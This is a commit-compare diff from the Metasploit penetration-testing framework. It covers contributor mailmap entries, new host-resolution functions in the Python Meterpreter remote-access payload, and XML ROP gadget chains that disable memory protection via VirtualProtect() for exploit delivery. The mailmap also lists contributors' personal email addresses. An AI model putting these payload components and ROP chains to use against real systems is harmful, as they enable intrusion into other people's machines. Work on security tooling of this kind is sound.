Compare commits
222 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
| 14be85ea5d | |||
| a3af5d681b | |||
| 31dc7c0c08 | |||
| 63e40f9fba | |||
| 29ae6be403 | |||
| 15e8c3bcd6 | |||
| 75aaded842 | |||
| a6f17c3ba0 | |||
| 07772cebb0 | |||
| 35dd94f0ac | |||
| 5514736deb | |||
| e10dbf8a5d | |||
| da3081e1c8 | |||
| eab90e1a2e | |||
| 698ce6ec34 | |||
| 2a1ade2541 | |||
| e2c5e6c19f | |||
| 008f787627 | |||
| 74f37c58b2 | |||
| e2a9339592 | |||
| 3dbdc9f848 | |||
| 9725918be8 | |||
| fb858ae72c | |||
| 6f23e95c14 | |||
| 2153dd26eb | |||
| bc317760dc | |||
| 172c6b9b8f | |||
| 0b7ec26dac | |||
| 988ac68074 | |||
| 765b55182e | |||
| b139757021 | |||
| 79c612cd67 | |||
| cad717a186 | |||
| d929bdfaab | |||
| 7b82c64983 | |||
| e1b9f1a3c4 | |||
| 291b90405d | |||
| 602fd276bc | |||
| 4e50c574c5 | |||
| c7bcc97dff | |||
| 6440a26f04 | |||
| 876d4e0aa8 | |||
| a1cf9619d9 | |||
| 181606e7cc | |||
| 2c047cbf05 | |||
| 11b6512a98 | |||
| 0b93996b05 | |||
| 75c5e885f2 | |||
| 63349e4664 | |||
| b26085457f | |||
| d0a1b51d8d | |||
| 49c629be5a | |||
| cad7329f2d | |||
| 171b70fa7c | |||
| b3e02d0fd8 | |||
| 85112e8704 | |||
| 378f403fab | |||
| 276ea22db3 | |||
| 09f0db7fdf | |||
| de57cbc67d | |||
| 9b96351ba2 | |||
| 9516bc5cf7 | |||
| cdc7b75a78 | |||
| f10078088c | |||
| 4870df14e6 | |||
| c264480651 | |||
| 3606aa90a6 | |||
| b477ae369b | |||
| adbcace9dd | |||
| 4f1e71e222 | |||
| c8dc251042 | |||
| be139beb20 | |||
| 6c382c8eb7 | |||
| c91816c4b2 | |||
| e3014a1e91 | |||
| 4fd599b7e0 | |||
| 52574b09cb | |||
| 4f3bbaffd1 | |||
| 1e3b84d39b | |||
| 5c36533742 | |||
| 9d34a8c894 | |||
| ce3584194f | |||
| 356263df56 | |||
| f95da649f8 | |||
| 1e78c3ca1a | |||
| 3cbea09cc6 | |||
| c2c6422078 | |||
| 2073c4e6a7 | |||
| 0acb170ee8 | |||
| c84e5c7443 | |||
| 0a194b203d | |||
| 2f0120748b | |||
| ef48a4b385 | |||
| e895a17722 | |||
| 2f670a35c4 | |||
| 199bd20b95 | |||
| 72a35d14f1 | |||
| 7d0cf73af7 | |||
| a5bace2425 | |||
| db92709d33 | |||
| 2593c06e7c | |||
| 6f7d513f6e | |||
| 8b9ac746db | |||
| c10f0253bc | |||
| e0ce444896 | |||
| f7f6abc1dd | |||
| f4000d35ba | |||
| 7222e3ca49 | |||
| 67228bace8 | |||
| 4ba001d6dd | |||
| ec6516d87c | |||
| aea63130a4 | |||
| 61e02f3d79 | |||
| 0991b72a0e | |||
| 5c5cf6dc57 | |||
| 219bef41a7 | |||
| 3215453522 | |||
| 4266b88a20 | |||
| ff6dec5eee | |||
| 8b7d241dc3 | |||
| e016c9a62f | |||
| 293927aff0 | |||
| d8dba8ee58 | |||
| da48565093 | |||
| 47e7a2de83 | |||
| c2a81907ba | |||
| 5aa3709ca2 | |||
| 991e82a78a | |||
| 0799766faa | |||
| 875e086d94 | |||
| 24efb55ba9 | |||
| 08243b277a | |||
| 836ff24998 | |||
| a8de9d5c8b | |||
| f9eccae391 | |||
| d6c74cd0ed | |||
| 813013fef5 | |||
| 77cbb7cd19 | |||
| 5f4e4de267 | |||
| 113f89e40f | |||
| 299dfe73f1 | |||
| 8e0a4e08a2 | |||
| ff72f0af62 | |||
| 9b79bb99e0 | |||
| ab786d1466 | |||
| 0112d6253c | |||
| db11e88255 | |||
| 7414dff958 | |||
| 41e87d83a6 | |||
| 81d4a8b8c1 | |||
| bc8604f151 | |||
| 63d7b8c309 | |||
| ab62af220b | |||
| 29d1c75d1c | |||
| 9df676ca7e | |||
| 646429b4dd | |||
| 21afa9defe | |||
| 5971fe87f5 | |||
| 39eb20e33a | |||
| 8059c59f15 | |||
| c87e7b3cc1 | |||
| 6499178ccb | |||
| 539a22a49e | |||
| f1e299460f | |||
| fcba424308 | |||
| ecf286a8c4 | |||
| 581e27f151 | |||
| 1fe0c50df0 | |||
| 0db93111de | |||
| 773abf0567 | |||
| 3d6b3a4e21 | |||
| 77d0236b4e | |||
| 427b4b262a | |||
| 40c313b711 | |||
| 758fd02619 | |||
| 7436ea0281 | |||
| 56b6f0be02 | |||
| 9436b6df08 | |||
| 23b0c3b723 | |||
| 932ed0a939 | |||
| 81365855fc | |||
| cd1f023f72 | |||
| 14d99ffbdb | |||
| ed82be6fd8 | |||
| 981212a034 | |||
| 36d058b28c | |||
| 6483c5526a | |||
| 82162ef486 | |||
| 7c6c8291e2 | |||
| 301c370b68 | |||
| 9abf727fa6 | |||
| 7118f7dc4c | |||
| 49187e8a31 | |||
| 9c4510940f | |||
| 9610f74ff9 | |||
| 96f7ea7b75 | |||
| 4dc88cf60f | |||
| f1ab7b51b1 | |||
| 09fa7b7692 | |||
| 84ec2cbf11 | |||
| 487f68f4d2 | |||
| 10252ca6f4 | |||
| 9353929945 | |||
| 94cc3f0e49 | |||
| 73a66819ea | |||
| 7ce9d38eba | |||
| 88d6c7be1e | |||
| 5dcb48a36a | |||
| 8bc83f4922 | |||
| d6a7ce5328 | |||
| c44be42cf5 | |||
| d280d45964 | |||
| f85b9aa780 | |||
| 3786376b42 | |||
| eeed74d2b9 | |||
| 9b773dd6f9 | |||
| 4f0cf426b7 | |||
| 1a2d5e472f | |||
| acb236006c | |||
| e4ff7a2f2c | |||
| df3361df50 | |||
| 70167ac667 |
@@ -1,14 +1,13 @@
|
||||
bperry-r7 <bperry-r7@github> Brandon Perry <bperry.volatile@gmail.com>
|
||||
bperry-r7 <bperry-r7@github> Brandon Perry <bperry@bperry-rapid7.(none)>
|
||||
bturner-r7 <bturner-r7@github> Brandon Turner <brandon_turner@rapid7.com>
|
||||
dmaloney-r7 <dmaloney-r7@github> David Maloney <DMaloney@rapid7.com> # aka TheLightCosine
|
||||
dmaloney-r7 <dmaloney-r7@github> David Maloney <David_Maloney@rapid7.com>
|
||||
dmaloney-r7 <dmaloney-r7@github> David Maloney <DMaloney@rapid7.com> # aka TheLightCosine
|
||||
ecarey-r7 <ecarey-r7@github> Erran Carey <e@ipwnstuff.com>
|
||||
hmoore-r7 <hmoore-r7@github> HD Moore <hd_moore@rapid7.com>
|
||||
hmoore-r7 <hmoore-r7@github> HD Moore <hdm@digitaloffense.net>
|
||||
jlee-r7 <jlee-r7@github> James Lee <James_Lee@rapid7.com>
|
||||
jlee-r7 <jlee-r7@github> James Lee <egypt@metasploit.com> # aka egypt
|
||||
jlee-r7 <jlee-r7@github> egypt <egypt@metasploit.com> # aka egypt
|
||||
jlee-r7 <jlee-r7@github> James Lee <egypt@metasploit.com> # aka egypt
|
||||
jlee-r7 <jlee-r7@github> James Lee <James_Lee@rapid7.com>
|
||||
joev-r7 <joev-r7@github> joev <joev@metasploit.com>
|
||||
joev-r7 <joev-r7@github> Joe Vennix <Joe_Vennix@rapid7.com>
|
||||
jvazquez-r7 <jvazquez-r7@github> jvazquez-r7 <juan.vazquez@metasploit.com>
|
||||
limhoff-r7 <limhoff-r7@github> Luke Imhoff <luke_imhoff@rapid7.com>
|
||||
@@ -16,35 +15,39 @@ shuckins-r7 <shuckins-r7@github> Samuel Huckins <samuel_huckins@rapid7.com>
|
||||
tasos-r7 <tasos-r7@github> Tasos Laskos <Tasos_Laskos@rapid7.com>
|
||||
todb-r7 <todb-r7@github> Tod Beardsley <tod_beardsley@rapid7.com>
|
||||
todb-r7 <todb-r7@github> Tod Beardsley <todb@metasploit.com>
|
||||
wchen-r7 <wchen-r7@github> Wei Chen <Wei_Chen@rapid7.com>
|
||||
wchen-r7 <wchen-r7@github> sinn3r <msfsinn3r@gmail.com> # aka sinn3r
|
||||
wchen-r7 <wchen-r7@github> sinn3r <wei_chen@rapid7.com>
|
||||
wchen-r7 <wchen-r7@github> Wei Chen <Wei_Chen@rapid7.com>
|
||||
wvu-r7 <wvu-r7@github> William Vu <William_Vu@rapid7.com>
|
||||
wvu-r7 <wvu-r7@github> William Vu <wvu@nmt.edu>
|
||||
|
||||
# Above this line are current Rapid7 employees Below this paragraph are
|
||||
# Above this line are current Rapid7 employees. Below this paragraph are
|
||||
# volunteers, former employees, and potential Rapid7 employees who, at
|
||||
# one time or another, had some largeish number of commits landed on
|
||||
# rapid7/metasploit-framework master branch. This should be refreshed
|
||||
# periodically. If you're on this list and would like to not be, just
|
||||
# let todb@metasploit.com know.
|
||||
|
||||
bannedit <bannedit@github> David Rude <bannedit0@gmail.com>
|
||||
Brandon Perry <brandonprry@github> Brandon Perry <bperry.volatile@gmail.com>
|
||||
Brandon Perry <brandonprry@github> Brandon Perry <bperry@bperry-rapid7.(none)>
|
||||
Brian Wallace <bwall@github> (B)rian (Wall)ace <nightstrike9809@gmail.com>
|
||||
Brian Wallace <bwall@github> Brian Wallace <bwall@openbwall.com>
|
||||
ceballosm <ceballosm@github> Mario Ceballos <mc@metasploit.com>
|
||||
Chao-mu <Chao-Mu@github> Chao Mu <chao.mu@minorcrash.com>
|
||||
Chao-mu <Chao-Mu@github> chao-mu <chao.mu@minorcrash.com>
|
||||
Chao-mu <Chao-Mu@github> chao-mu <chao@confusion.(none)>
|
||||
ChrisJohnRiley <ChrisJohnRiley@github> Chris John Riley <chris.riley@c22.cc>
|
||||
ChrisJohnRiley <ChrisJohnRiley@github> Chris John Riley <reg@c22.cc>
|
||||
FireFart <FireFart@github> Christian Mehlmauer <firefart@gmail.com>
|
||||
Meatballs1 <Meatballs1@github> Ben Campbell <eat_meatballs@hotmail.co.uk>
|
||||
Meatballs1 <Meatballs1@github> Meatballs <eat_meatballs@hotmail.co.uk>
|
||||
Meatballs1 <Meatballs1@github> Meatballs1 <eat_meatballs@hotmail.co.uk>
|
||||
bannedit <bannedit@github> David Rude <bannedit0@gmail.com>
|
||||
ceballosm <ceballosm@github> Mario Ceballos <mc@metasploit.com>
|
||||
corelanc0d3er <corelanc0d3er@github> Peter Van Eeckhoutte (corelanc0d3r) <peter.ve@corelan.be>
|
||||
corelanc0d3er <corelanc0d3er@github> corelanc0d3r <peter.ve@corelan.be>
|
||||
corelanc0d3er <corelanc0d3er@github> Peter Van Eeckhoutte (corelanc0d3r) <peter.ve@corelan.be>
|
||||
darkoperator <darkoperator@github> Carlos Perez <carlos_perez@darkoperator.com>
|
||||
efraintorres <efraintorres@github> efraintorres <etlownoise@gmail.com>
|
||||
efraintorres <efraintorres@github> et <>
|
||||
fab <fab@???> fab <> # fab at revhosts.net (Fabrice MOURRON)
|
||||
h0ng10 <h0ng10@github> Hans-Martin Münch <hansmartin.muench@googlemail.com>
|
||||
FireFart <FireFart@github> Christian Mehlmauer <firefart@gmail.com>
|
||||
h0ng10 <h0ng10@github> h0ng10 <hansmartin.muench@googlemail.com>
|
||||
h0ng10 <h0ng10@github> Hans-Martin Münch <hansmartin.muench@googlemail.com>
|
||||
jcran <jcran@github> Jonathan Cran <jcran@0x0e.org>
|
||||
jcran <jcran@github> Jonathan Cran <jcran@rapid7.com>
|
||||
jduck <jduck@github> Joshua Drake <github.jdrake@qoop.org>
|
||||
@@ -56,6 +59,9 @@ kris <kris@???> kris <>
|
||||
m-1-k-3 <m-1-k-3@github> m-1-k-3 <github@s3cur1ty.de>
|
||||
m-1-k-3 <m-1-k-3@github> m-1-k-3 <m1k3@s3cur1ty.de>
|
||||
m-1-k-3 <m-1-k-3@github> m-1-k-3 <michael.messner@integralis.com>
|
||||
Meatballs1 <Meatballs1@github> Ben Campbell <eat_meatballs@hotmail.co.uk>
|
||||
Meatballs1 <Meatballs1@github> Meatballs <eat_meatballs@hotmail.co.uk>
|
||||
Meatballs1 <Meatballs1@github> Meatballs1 <eat_meatballs@hotmail.co.uk>
|
||||
mubix <mubix@github> Rob Fuller <jd.mubix@gmail.com>
|
||||
nevdull77 <nevdull77@github> Patrik Karlsson <patrik@cqure.net>
|
||||
nmonkee <nmonkee@github> nmonkee <dave@northern-monkee.co.uk>
|
||||
|
||||
Binary file not shown.
Binary file not shown.
@@ -149,6 +149,8 @@ TLV_TYPE_NETWORK_INTERFACE = TLV_META_TYPE_GROUP | 1433
|
||||
TLV_TYPE_SUBNET_STRING = TLV_META_TYPE_STRING | 1440
|
||||
TLV_TYPE_NETMASK_STRING = TLV_META_TYPE_STRING | 1441
|
||||
TLV_TYPE_GATEWAY_STRING = TLV_META_TYPE_STRING | 1442
|
||||
TLV_TYPE_ROUTE_METRIC = TLV_META_TYPE_UINT | 1443
|
||||
TLV_TYPE_ADDR_TYPE = TLV_META_TYPE_UINT | 1444
|
||||
|
||||
# Socket
|
||||
TLV_TYPE_PEER_HOST = TLV_META_TYPE_STRING | 1500
|
||||
@@ -273,6 +275,9 @@ ERROR_FAILURE = 1
|
||||
# errors.
|
||||
ERROR_CONNECTION_ERROR = 10000
|
||||
|
||||
WIN_AF_INET = 2
|
||||
WIN_AF_INET6 = 23
|
||||
|
||||
def get_stat_buffer(path):
|
||||
si = os.stat(path)
|
||||
rdev = 0
|
||||
@@ -290,6 +295,27 @@ def get_stat_buffer(path):
|
||||
st_buf += struct.pack('<II', blksize, blocks)
|
||||
return st_buf
|
||||
|
||||
def inet_pton(family, address):
|
||||
if hasattr(socket, 'inet_pton'):
|
||||
return socket.inet_pton(family, address)
|
||||
elif has_windll:
|
||||
WSAStringToAddress = ctypes.windll.ws2_32.WSAStringToAddressA
|
||||
lpAddress = (ctypes.c_ubyte * 28)()
|
||||
lpAddressLength = ctypes.c_int(ctypes.sizeof(lpAddress))
|
||||
if WSAStringToAddress(address, family, None, ctypes.byref(lpAddress), ctypes.byref(lpAddressLength)) != 0:
|
||||
raise Exception('WSAStringToAddress failed')
|
||||
if family == socket.AF_INET:
|
||||
return ''.join(map(chr, lpAddress[4:8]))
|
||||
elif family == socket.AF_INET6:
|
||||
return ''.join(map(chr, lpAddress[8:24]))
|
||||
raise Exception('no suitable inet_pton functionality is available')
|
||||
|
||||
def resolve_host(hostname, family):
|
||||
address_info = socket.getaddrinfo(hostname, 0, family, socket.SOCK_DGRAM, socket.IPPROTO_UDP)[0]
|
||||
family = address_info[0]
|
||||
address = address_info[4][0]
|
||||
return {'family':family, 'address':address, 'packed_address':inet_pton(family, address)}
|
||||
|
||||
def windll_GetNativeSystemInfo():
|
||||
if not has_windll:
|
||||
return None
|
||||
@@ -687,6 +713,40 @@ def stdapi_fs_stat(request, response):
|
||||
response += tlv_pack(TLV_TYPE_STAT_BUF, st_buf)
|
||||
return ERROR_SUCCESS, response
|
||||
|
||||
@meterpreter.register_function
|
||||
def stdapi_net_resolve_host(request, response):
|
||||
hostname = packet_get_tlv(request, TLV_TYPE_HOST_NAME)['value']
|
||||
family = packet_get_tlv(request, TLV_TYPE_ADDR_TYPE)['value']
|
||||
if family == WIN_AF_INET:
|
||||
family = socket.AF_INET
|
||||
elif family == WIN_AF_INET6:
|
||||
family = socket.AF_INET6
|
||||
else:
|
||||
raise Exception('invalid family')
|
||||
result = resolve_host(hostname, family)
|
||||
response += tlv_pack(TLV_TYPE_IP, result['packed_address'])
|
||||
response += tlv_pack(TLV_TYPE_ADDR_TYPE, result['family'])
|
||||
return ERROR_SUCCESS, response
|
||||
|
||||
@meterpreter.register_function
|
||||
def stdapi_net_resolve_hosts(request, response):
|
||||
family = packet_get_tlv(request, TLV_TYPE_ADDR_TYPE)['value']
|
||||
if family == WIN_AF_INET:
|
||||
family = socket.AF_INET
|
||||
elif family == WIN_AF_INET6:
|
||||
family = socket.AF_INET6
|
||||
else:
|
||||
raise Exception('invalid family')
|
||||
for hostname in packet_enum_tlvs(request, TLV_TYPE_HOST_NAME):
|
||||
hostname = hostname['value']
|
||||
try:
|
||||
result = resolve_host(hostname, family)
|
||||
except socket.error:
|
||||
result = {'family':family, 'packed_address':''}
|
||||
response += tlv_pack(TLV_TYPE_IP, result['packed_address'])
|
||||
response += tlv_pack(TLV_TYPE_ADDR_TYPE, result['family'])
|
||||
return ERROR_SUCCESS, response
|
||||
|
||||
@meterpreter.register_function
|
||||
def stdapi_net_socket_tcp_shutdown(request, response):
|
||||
channel_id = packet_get_tlv(request, TLV_TYPE_CHANNEL_ID)
|
||||
@@ -842,9 +902,12 @@ def stdapi_registry_query_value(request, response):
|
||||
if value_type.value == REG_SZ:
|
||||
response += tlv_pack(TLV_TYPE_VALUE_DATA, ctypes.string_at(value_data) + '\x00')
|
||||
elif value_type.value == REG_DWORD:
|
||||
response += tlv_pack(TLV_TYPE_VALUE_DATA, ''.join(value_data.value)[:4])
|
||||
value = value_data[:4]
|
||||
value.reverse()
|
||||
value = ''.join(map(chr, value))
|
||||
response += tlv_pack(TLV_TYPE_VALUE_DATA, value)
|
||||
else:
|
||||
response += tlv_pack(TLV_TYPE_VALUE_DATA, ''.join(value_data.value)[:value_data_sz.value])
|
||||
response += tlv_pack(TLV_TYPE_VALUE_DATA, ctypes.string_at(value_data, value_data_sz.value))
|
||||
return ERROR_SUCCESS, response
|
||||
return ERROR_FAILURE, response
|
||||
|
||||
|
||||
Binary file not shown.
Binary file not shown.
@@ -111,6 +111,24 @@ def packet_get_tlv(pkt, tlv_type):
|
||||
offset += tlv[0]
|
||||
return {}
|
||||
|
||||
def packet_enum_tlvs(pkt, tlv_type = None):
|
||||
offset = 0
|
||||
while (offset < len(pkt)):
|
||||
tlv = struct.unpack('>II', pkt[offset:offset+8])
|
||||
if (tlv_type == None) or ((tlv[1] & ~TLV_META_TYPE_COMPRESSED) == tlv_type):
|
||||
val = pkt[offset+8:(offset+8+(tlv[0] - 8))]
|
||||
if (tlv[1] & TLV_META_TYPE_STRING) == TLV_META_TYPE_STRING:
|
||||
val = val.split('\x00', 1)[0]
|
||||
elif (tlv[1] & TLV_META_TYPE_UINT) == TLV_META_TYPE_UINT:
|
||||
val = struct.unpack('>I', val)[0]
|
||||
elif (tlv[1] & TLV_META_TYPE_BOOL) == TLV_META_TYPE_BOOL:
|
||||
val = bool(struct.unpack('b', val)[0])
|
||||
elif (tlv[1] & TLV_META_TYPE_RAW) == TLV_META_TYPE_RAW:
|
||||
pass
|
||||
yield {'type':tlv[1], 'length':tlv[0], 'value':val}
|
||||
offset += tlv[0]
|
||||
raise StopIteration()
|
||||
|
||||
def tlv_pack(*args):
|
||||
if len(args) == 2:
|
||||
tlv = {'type':args[0], 'value':args[1]}
|
||||
@@ -271,7 +289,7 @@ class PythonMeterpreter(object):
|
||||
if (data_tlv['type'] & TLV_META_TYPE_COMPRESSED) == TLV_META_TYPE_COMPRESSED:
|
||||
return ERROR_FAILURE
|
||||
preloadlib_methods = self.extension_functions.keys()
|
||||
i = code.InteractiveInterpreter({'meterpreter':self, 'packet_get_tlv':packet_get_tlv, 'tlv_pack':tlv_pack, 'STDProcess':STDProcess})
|
||||
i = code.InteractiveInterpreter({'meterpreter':self, 'packet_enum_tlvs':packet_enum_tlvs, 'packet_get_tlv':packet_get_tlv, 'tlv_pack':tlv_pack, 'STDProcess':STDProcess})
|
||||
i.runcode(compile(data_tlv['value'], '', 'exec'))
|
||||
postloadlib_methods = self.extension_functions.keys()
|
||||
new_methods = filter(lambda x: x not in preloadlib_methods, postloadlib_methods)
|
||||
|
||||
@@ -0,0 +1,66 @@
|
||||
<?xml version="1.0" encoding="ISO-8859-1"?>
|
||||
<db>
|
||||
<rop>
|
||||
<compatibility>
|
||||
<target>2007</target>
|
||||
</compatibility>
|
||||
|
||||
<gadgets base="0x51bd0000">
|
||||
<gadget offset="0x000750fd">POP EAX # RETN</gadget>
|
||||
<gadget offset="0x00001158">ptr to VirtualProtect()</gadget>
|
||||
<gadget offset="0x0001803c">POP EBP # RETN</gadget>
|
||||
<gadget offset="0x0001803c">skip 4 bytes</gadget>
|
||||
<gadget offset="0x0001750f">POP EBX # RETN</gadget>
|
||||
<gadget value="safe_negate_size">Safe size to NEG</gadget>
|
||||
<gadget offset="0x00005737">XCHG EAX, EBX # RETN</gadget>
|
||||
<gadget offset="0x0004df88">NEG EAX # RETN</gadget>
|
||||
<gadget offset="0x00005737">XCHG EAX, EBX # RETN</gadget>
|
||||
<gadget offset="0x0002a7d8">POP EDX # RETN</gadget>
|
||||
<gadget value="ffffffc0">0x00000040</gadget>
|
||||
<gadget offset="0x00038b65">XCHG EAX, EDX # RETN</gadget>
|
||||
<gadget offset="0x0004df88">NEG EAX # RETN</gadget>
|
||||
<gadget offset="0x00038b65">XCHG EAX, EDX # RETN</gadget>
|
||||
<gadget offset="0x000406e9">POP ECX # RETN</gadget>
|
||||
<gadget offset="0x0008bfae">Writable location</gadget>
|
||||
<gadget offset="0x0003cc24">POP EDI # RETN</gadget>
|
||||
<gadget offset="0x0004df8a">RETN (ROP NOP)</gadget>
|
||||
<gadget offset="0x0002d94b">POP ESI # RETN</gadget>
|
||||
<gadget offset="0x0002c840">JMP [EAX]</gadget>
|
||||
<gadget offset="0x0003a4ec">PUSHAD # RETN</gadget>
|
||||
<gadget offset="0x0007a9f3">ptr to 'jmp esp'</gadget>
|
||||
</gadgets>
|
||||
</rop>
|
||||
|
||||
<rop>
|
||||
<compatibility>
|
||||
<target>2010</target>
|
||||
</compatibility>
|
||||
|
||||
<gadgets base="0x51bd0000">
|
||||
<gadget offset="0x0003e4fa">POP EBP # RETN</gadget>
|
||||
<gadget offset="0x0003e4fa">skip 4 bytes</gadget>
|
||||
<gadget offset="0x0006a2b4">POP EBX # RETN</gadget>
|
||||
<gadget value="safe_negate_size">Safe size to NEG</gadget>
|
||||
<gadget offset="0x00069351">XCHG EAX, EBX # RETN</gadget>
|
||||
<gadget offset="0x00025188">NEG EAX # POP ESI # RETN</gadget>
|
||||
<gadget value="junk">JUNK</gadget>
|
||||
<gadget offset="0x00069351">XCHG EAX, EBX # RETN</gadget>
|
||||
<gadget offset="0x0002a429">POP EDX # RETN</gadget>
|
||||
<gadget value="ffffffc0">0x00000040</gadget>
|
||||
<gadget offset="0x0001a84d">XCHG EAX, EDX # RETN</gadget>
|
||||
<gadget offset="0x00025188">NEG EAX # POP ESI # RETN</gadget>
|
||||
<gadget value="junk">JUNK</gadget>
|
||||
<gadget offset="0x0001a84d">XCHG EAX, EDX # RETN</gadget>
|
||||
<gadget offset="0x0006c4b1">POP ECX # RETN</gadget>
|
||||
<gadget offset="0x0008c638">Writable location</gadget>
|
||||
<gadget offset="0x0000be1d">POP EDI # RETN</gadget>
|
||||
<gadget offset="0x00005383">RETN (ROP NOP)</gadget>
|
||||
<gadget offset="0x00073335">POP ESI # RETN</gadget>
|
||||
<gadget offset="0x0002c7cb">JMP [EAX]</gadget>
|
||||
<gadget offset="0x00076452">POP EAX # RETN</gadget>
|
||||
<gadget offset="0x000010b8">ptr to VirtualProtect()</gadget>
|
||||
<gadget offset="0x0006604e">PUSHAD # RETN</gadget>
|
||||
<gadget offset="0x00014534">ptr to 'jmp esp'</gadget>
|
||||
</gadgets>
|
||||
</rop>
|
||||
</db>
|
||||
+1
-1
@@ -9,7 +9,7 @@
|
||||
<gadget offset="0x00024c66">POP EBP # RETN</gadget>
|
||||
<gadget offset="0x00024c66">skip 4 bytes</gadget>
|
||||
<gadget offset="0x00004edc">POP EAX # RETN</gadget>
|
||||
<gadget value="FFFFFBFF">0x00000201</gadget>
|
||||
<gadget value="safe_negate_size">0x00000201</gadget>
|
||||
<gadget offset="0x00011e05">NEG EAX # RETN</gadget>
|
||||
<gadget offset="0x000136e3">POP EBX # RETN</gadget>
|
||||
<gadget value="0xffffffff"></gadget>
|
||||
|
||||
+34
-19
@@ -7,12 +7,21 @@
|
||||
</compatibility>
|
||||
|
||||
<gadgets base="0x77c10000">
|
||||
<gadget offset="0x0002b860">POP EAX # RETN</gadget>
|
||||
<gadget value="safe_negate_size">0xFFFFFBFF -> ebx</gadget>
|
||||
<gadget offset="0x0000be18">NEG EAX # POP EBP # RETN</gadget>
|
||||
<gadget value="junk">JUNK</gadget>
|
||||
<gadget offset="0x0001362c">POP EBX # RETN</gadget>
|
||||
<gadget offset="0x0004d9bb">Writable location</gadget>
|
||||
<gadget offset="0x0001e071">XCHG EAX, EBX # ADD BYTE [EAX], AL # RETN</gadget>
|
||||
<gadget offset="0x00040d13">POP EDX # RETN</gadget>
|
||||
<gadget value="0xFFFFFFC0">0xFFFFFFC0-> edx</gadget>
|
||||
<gadget offset="0x00048fbc">XCHG EAX, EDX # RETN</gadget>
|
||||
<gadget offset="0x0000be18">NEG EAX # POP EBX # RETN</gadget>
|
||||
<gadget value="junk">JUNK</gadget>
|
||||
<gadget offset="0x00048fbc">XCHG EAX, EDX # RETN</gadget>
|
||||
<gadget offset="0x0002ee15">POP EBP # RETN</gadget>
|
||||
<gadget offset="0x0002ee15">skip 4 bytes</gadget>
|
||||
<gadget offset="0x0003fa1c">POP EBX # RETN</gadget>
|
||||
<gadget value="0x00000400">0x00000400-> ebx</gadget>
|
||||
<gadget offset="0x00040d13">POP EDX # RETN</gadget>
|
||||
<gadget value="0x00000040">0x00000040-> edx</gadget>
|
||||
<gadget offset="0x0002eeef">POP ECX # RETN</gadget>
|
||||
<gadget offset="0x0004d9bb">Writable location</gadget>
|
||||
<gadget offset="0x0001a88c">POP EDI # RETN</gadget>
|
||||
@@ -33,23 +42,29 @@
|
||||
</compatibility>
|
||||
|
||||
<gadgets base="0x77ba0000">
|
||||
<gadget offset="0x0003eebf">POP EAX # RETN</gadget>
|
||||
<gadget offset="0x00001114">ptr to VirtualProtect()</gadget>
|
||||
<gadget offset="0x00012563">POP EAX # RETN</gadget>
|
||||
<gadget offset="0x00001114">VirtualProtect()</gadget>
|
||||
<gadget offset="0x0001f244">MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN</gadget>
|
||||
<gadget value="junk">Filler</gadget>
|
||||
<gadget value="junk">JUNK</gadget>
|
||||
<gadget offset="0x00010c86">XCHG EAX,ESI # RETN</gadget>
|
||||
<gadget offset="0x00026320">POP EBP # RETN</gadget>
|
||||
<gadget offset="0x00042265">PUSH ESP # RETN</gadget>
|
||||
<gadget offset="0x000385b7">POP EBX # RETN</gadget>
|
||||
<gadget value="0x00000400">0x00000400-> ebx</gadget>
|
||||
<gadget offset="0x0003e4fc">POP EDX # RETN</gadget>
|
||||
<gadget value="0x00000040">0x00000040-> edx</gadget>
|
||||
<gadget offset="0x000330fb">POP ECX # RETN</gadget>
|
||||
<gadget offset="0x0004ff56">Writable location</gadget>
|
||||
<gadget offset="0x00038a92">POP EDI # RETN</gadget>
|
||||
<gadget offset="0x00037d82">RETN (ROP NOP)</gadget>
|
||||
<gadget offset="0x0003eebf">POP EAX # RETN</gadget>
|
||||
<gadget value="nop">nop</gadget>
|
||||
<gadget offset="0x00029801">POP EBP # RETN</gadget>
|
||||
<gadget offset="0x00042265">ptr to 'push esp # ret'</gadget>
|
||||
<gadget offset="0x00012563">POP EAX # RETN</gadget>
|
||||
<gadget value="0x03C0990F">EAX</gadget>
|
||||
<gadget offset="0x0003d441">SUB EAX, 03c0940f (dwSize, 0x500 -> ebx)</gadget>
|
||||
<gadget offset="0x000148d3">POP EBX, RET</gadget>
|
||||
<gadget offset="0x000521e0">.data</gadget>
|
||||
<gadget offset="0x0001f102">XCHG EAX,EBX # ADD BYTE PTR DS:[EAX],AL # RETN</gadget>
|
||||
<gadget offset="0x0001fc02">POP ECX # RETN</gadget>
|
||||
<gadget offset="0x0004f001">W pointer (lpOldProtect) (-> ecx)</gadget>
|
||||
<gadget offset="0x00038c04">POP EDI # RETN</gadget>
|
||||
<gadget offset="0x00038c05">ROP NOP (-> edi)</gadget>
|
||||
<gadget offset="0x00012563">POP EAX # RETN</gadget>
|
||||
<gadget value="0x03C0944F">EAX</gadget>
|
||||
<gadget offset="0x0003d441">SUB EAX, 03c0940f</gadget>
|
||||
<gadget offset="0x00018285">XCHG EAX,EDX # RETN</gadget>
|
||||
<gadget offset="0x00012563">POP EAX # RETN</gadget>
|
||||
<gadget value="nop">NOP</gadget>
|
||||
<gadget offset="0x00046591">PUSHAD # ADD AL,0EF # RETN</gadget>
|
||||
</gadgets>
|
||||
</rop>
|
||||
|
||||
@@ -37,45 +37,57 @@ module Auxiliary::JohnTheRipper
|
||||
autodetect_platform
|
||||
end
|
||||
|
||||
# @return [String] the run path instance variable if the platform is detectable, nil otherwise.
|
||||
def autodetect_platform
|
||||
cpuinfo_base = ::File.join(Msf::Config.install_root, "data", "cpuinfo")
|
||||
return @run_path if @run_path
|
||||
cpuinfo_base = ::File.join(Msf::Config.data_directory, "cpuinfo")
|
||||
if File.directory?(cpuinfo_base)
|
||||
data = nil
|
||||
|
||||
case ::RUBY_PLATFORM
|
||||
when /mingw|cygwin|mswin/
|
||||
data = `"#{cpuinfo_base}/cpuinfo.exe"` rescue nil
|
||||
case data
|
||||
when /sse2/
|
||||
@run_path ||= "run.win32.sse2/john.exe"
|
||||
when /mmx/
|
||||
@run_path ||= "run.win32.mmx/john.exe"
|
||||
else
|
||||
@run_path ||= "run.win32.any/john.exe"
|
||||
end
|
||||
|
||||
when /x86_64-linux/
|
||||
::FileUtils.chmod(0755, "#{cpuinfo_base}/cpuinfo.ia64.bin") rescue nil
|
||||
data = `#{cpuinfo_base}/cpuinfo.ia64.bin` rescue nil
|
||||
case data
|
||||
when /mmx/
|
||||
@run_path ||= "run.linux.x64.mmx/john"
|
||||
else
|
||||
@run_path ||= "run.linux.x86.any/john"
|
||||
end
|
||||
|
||||
when /i[\d]86-linux/
|
||||
